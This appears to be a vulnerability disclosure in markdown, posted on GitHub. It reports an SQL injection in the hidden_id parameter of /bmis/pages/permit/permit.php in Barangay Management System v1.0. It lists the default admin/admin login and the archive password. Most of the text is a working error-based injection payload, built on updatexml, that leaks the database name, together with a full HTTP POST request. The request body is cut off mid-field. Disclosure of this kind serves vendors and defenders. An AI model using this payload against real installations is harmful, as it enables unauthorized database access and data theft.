AD-Appledog Create SQLi-1.md History

1 contributor

34 lines (24 sloc) | 1.47 KB

Barangay Management System v1.0 by itsourcecode.com has SQL injection

BUG_Author : Appledog

The decompression password for the source file is itsourcecode.

Login account: admin/admin (Super Admin account)

vendors: https://itsourcecode.com/free-projects/php-project/barangay-management-system-project-in-php-with-source-code/

Vulnerability File: /bmis/pages/permit/permit.php

Vulnerability location: /bmis/pages/permit/permit.php,hidden_id

[+] Payload: hidden_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> hidden_id

```
POST /bmis/pages/permit/permit.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

```
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/bmis/pages/permit/permit.php
Cookie: sessions=aj0k5o11d743ingah9kp1b0ejntrqer6; PHPSESSID=fbu82ocu8kd37b5b20uqq71
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 205

hidden_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&txt_edit_bu
```